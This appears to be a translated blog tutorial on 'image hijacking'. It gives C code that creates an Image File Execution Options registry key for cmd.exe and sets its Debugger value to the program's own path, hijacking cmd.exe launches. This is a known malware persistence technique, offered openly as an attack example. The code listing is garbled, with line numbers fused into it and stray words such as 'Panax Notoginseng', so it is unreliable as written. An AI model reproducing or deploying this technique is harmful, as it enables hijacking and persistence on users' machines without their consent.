Image hijacking Technology (2): Example

Create the Cmd.exe item under the image File execution options and "redirect" it to the program we wrote ourselves

1#include <stdio.h>2#include <windows.h>3 4 intMain ()5 {6 HKEY HKEY;7DWORD Dwdisposition=reg_created_new_key;//Create a new subkey8     if((:: RegCreateKeyEx (HKEY_LOCAL_MACHINE,9         "software\\microsoft\\windows nt\\currentversion\\image File execution Options\\cmd.exe",Ten         0, One NULL, A Reg_option_non_volatile, - key_all_access, - NULL, the&HKey, -&dwdisposition)) = =error_success) -         { -printf"success to Create the Reg key.\n"); +             CharStrpath[max_path]; -             intSize=getmodulefilename (Null,strpath,sizeof(strpath)); +             intRet=regsetvalueex (HKey,"Debugger",0, REG_SZ, (ConstUnsignedChar*) strpath,size); A             if(ret==error_success) at             { -printf"success to set the registry keys.\n"); -             } -             Else -             { -printf"fail to set the registry keys.\n"); in             } - RegCloseKey (HKey); to         } +     Else -     { theprintf"fail to create a reg key.\n"); *     } $     return 0;Panax Notoginseng}

The result of the program is only created in the Cmd.exe project, when setting the value of the item, 360 security guard reported poison, set unsuccessful

Image hijacking Technology (2): Example